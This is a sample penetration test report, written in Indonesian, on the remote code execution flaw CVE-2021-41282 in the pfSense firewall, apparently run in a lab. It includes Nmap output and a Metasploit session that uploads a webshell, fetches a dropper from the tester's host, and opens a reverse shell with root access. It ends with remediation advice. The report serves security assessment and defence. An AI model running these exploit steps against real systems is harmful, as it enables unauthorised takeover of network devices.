UNIVERSITAS GADJAH MADA

Sample Penetration Test Report
Example Company

Company: Customer Name
Date: 20 July 2023
Version 1.0

Pendahuluan

Laporan ini dibuat sebagai hasil dari pengujian penetrasi yang dilakukan untuk mengidentifikasi dan mengekspos kerentanan yang terkait dengan CVE-2021-41282. Dalam laporan ini, kami akan memberikan detail mengenai temuan kerentanan CVE-2021-41282 yang kami identifikasi selama penilaian. Kami akan menjelaskan secara rinci potensi dampak dan risiko yang terkait dengan kerentanan ini, serta memberikan rekomendasi tindakan yang dapat diambil untuk memperbaiki kerentanan tersebut dan meningkatkan keamanan keseluruhan sistem.

Ringkasan Eksekutif

Kami melakukan penetration testing pada tanggal 20 July 2023 dengan menggunakan kredensial atau pengetahuan sebelumnya tentang lingkungan internal. Tujuan pengujian ini adalah untuk mengidentifikasi kelemahan dan mencoba untuk mengeksploitasi kelemahan tersebut. Pengujian dilakukan secara otomatis dengan menggunakan alat yang dikhususkan untuk mencari kerentanan CVE-2021-41282 pada firewall pfSense. CVE-2021-41282 adalah kerentanan remote code execution pada firewall pfSense. Kerentanan ini terjadi karena kegagalan dalam menyaring input pengguna dengan benar sebelum menjalankannya sebagai bagian dari perintah.

Metodologi

Pengujian penetrasi mengikuti metodologi komprehensif yang meliputi information gathering, vulnerability scanning, exploitation, dan post-exploitation.

Temuan

Ketika kami melakukan penetration testing, kami menemukan bahwa di jaringan Anda terdapat firewall pfSense, dan firewall tersebut rentan terhadap CVE-2021-41282.

Pemindaian

```
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-29 10:48 WIB
Nmap scan report for 192.168.1.1
Host is up (0.00090s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
53/tcp  open  domain   Unbound
80/tcp  open  http     nginx
|_http-title: Did not follow redirect to https://192.168.1.1/
443/tcp open  ssl/http nginx
|_http-title: pfSense - Login
MAC Address: 00:0C:29:15:2E:FA (VMware)

Nmap scan report for 192.168.1.128
Host is up (0.0000050s latency).
```

All 1000 scanned ports on 192.168.1.128 are in ignored states.
Not shown: 1000 closed tcp ports (reset)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (2 hosts up) scanned in 44.88 seconds

Eksploitasi

```
 ______________________________________
/ it looks like you're trying to run a \
\ module                               /
 --------------------------------------
 \
  \
    __
   /  \
   |  |
   @  @
   |  |
   || |/
   || ||
   |\_/|
   \___/


      =[ metasploit v6.3.16-dev                          ]
+ -- --=[ 2315 exploits - 1208 auxiliary - 412 post       ]
+ -- --=[ 975 payloads - 46 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Enable verbose logging with set VERBOSE
true
Metasploit Documentation: https://docs.metasploit.com/

[*] Processing temp_pfsense.rc for ERB directives.
resource (temp_pfsense.rc)> use exploit/unix/http/pfsense_diag_routes_webshell
[*] Using configured payload bsd/x64/shell_reverse_tcp
resource (temp_pfsense.rc)> set RHOSTS 192.168.1.1
RHOSTS => 192.168.1.1
resource (temp_pfsense.rc)> set LHOST 192.168.1.128
LHOST => 192.168.1.128
resource (temp_pfsense.rc)> exploit -j
```

```
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
resource (temp_pfsense.rc)> sleep 10
[*] Started reverse TCP handler on 192.168.1.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Uploading webshell to /hEcQC.php
[*] Testing if web shell installation was successful
[+] Web shell installed at /hEcQC.php
[*] Executing BSD Dropper for bsd/x64/shell_reverse_tcp
[*] Using URL: http://192.168.1.128:8080/hOL4hEw
[*] Client 192.168.1.1 (curl/7.76.1) requested /hOL4hEw
[*] Sending payload to 192.168.1.1 (curl/7.76.1)
[*] Command Stager progress - 100.00% done (113/113 bytes)
[+] Deleted /usr/local/www/IvTV
[+] Deleted /usr/local/www/hEcQC.php
[*] Command shell session 1 opened (192.168.1.128:4444 -> 192.168.1.1:36919) at 2023-05-29
19:08:36 +0700
[*] Server stopped.
resource (temp_pfsense.rc)> sessions -c id
[*] Running 'id' on shell session 1 (192.168.1.1)
uid=0(root) gid=0(wheel) groups=0(wheel)

resource (temp_pfsense.rc)> sessions -c pwd
[*] Running 'pwd' on shell session 1 (192.168.1.1)
/usr/local/www

resource (temp_pfsense.rc)> sessions -c whoami
[*] Running 'whoami' on shell session 1 (192.168.1.1)
root

resource (temp_pfsense.rc)> exit
[*] You have active sessions open, to exit anyway type "exit -y"
resource (temp_pfsense.rc)> exit -y
```

Rekomendasi

Untuk mengurangi kerentanan tersebut, pengguna sebaiknya melakukan upgrade ke versi terbaru pfSense yang mencakup perbaikan untuk kerentanan tersebut. Selain itu, pengguna juga sebaiknya menerapkan praktik keamanan seperti berikut:

- Melakukan pembaruan perangkat lunak secara teratur dan memastikan menggunakan versi terbaru pfSense.
- Memperkuat kontrol akses dengan menerapkan kebijakan otentikasi yang kuat dan penggunaan kata sandi firewall yang kompleks
- Menonaktifkan akses root pada webGUI
- Melakukan pemantauan dan pencatatan aktivitas sistem secara teratur.
- Melakukan pelatihan kesadaran keamanan bagi anggota staf.